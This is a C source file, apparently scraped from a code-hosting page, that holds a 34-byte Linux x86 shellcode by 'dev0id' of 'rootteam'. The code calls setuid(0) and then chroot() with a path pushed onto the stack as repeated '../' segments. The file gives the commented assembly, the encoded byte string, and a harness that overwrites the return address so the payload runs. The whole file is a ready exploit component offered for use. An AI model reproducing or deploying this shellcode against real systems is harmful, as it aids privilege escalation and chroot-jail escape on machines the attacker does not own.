50 lines
No EOL
722 B
C
50 lines
No EOL
722 B
C
/* The setuid(0)+chroot() shellcode. It is the one of the smallest shellcodes
|
|
in the !!world!!
|
|
it will put '../' 10 times
|
|
Size 34 bytes
|
|
OS Linux
|
|
/rootteam/dev0id (rootteam.void.ru)
|
|
dev0id@uncompiled.com
|
|
|
|
BITS 32
|
|
main:
|
|
xor ecx,ecx
|
|
xor eax,eax
|
|
xor ebx,ebx
|
|
mov al,23
|
|
int 0x80
|
|
push ecx
|
|
mov cl,30
|
|
main_push:
|
|
push byte 0x2e
|
|
loop main_push
|
|
mov cl,30
|
|
main_inc:
|
|
dec cl
|
|
inc byte [esp+ecx]
|
|
dec cl
|
|
loop main_inc
|
|
mov ebx,esp
|
|
mov al,61
|
|
int 0x80
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
*/
|
|
|
|
char shellcode[] =
|
|
"\x31\xc9\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x51\xb1\x1e\x6a\x2e"
|
|
"\xe2\xfc\xb1\x1e\xfe\xc9\xfe\x04\x0c\xfe\xc9\xe2\xf7\x89\xe3"
|
|
"\xb0\x3d\xcd\x80";
|
|
int
|
|
main(void)
|
|
{
|
|
int *ret;
|
|
ret = (int*)&ret + 2;
|
|
(*ret) = shellcode;
|
|
} |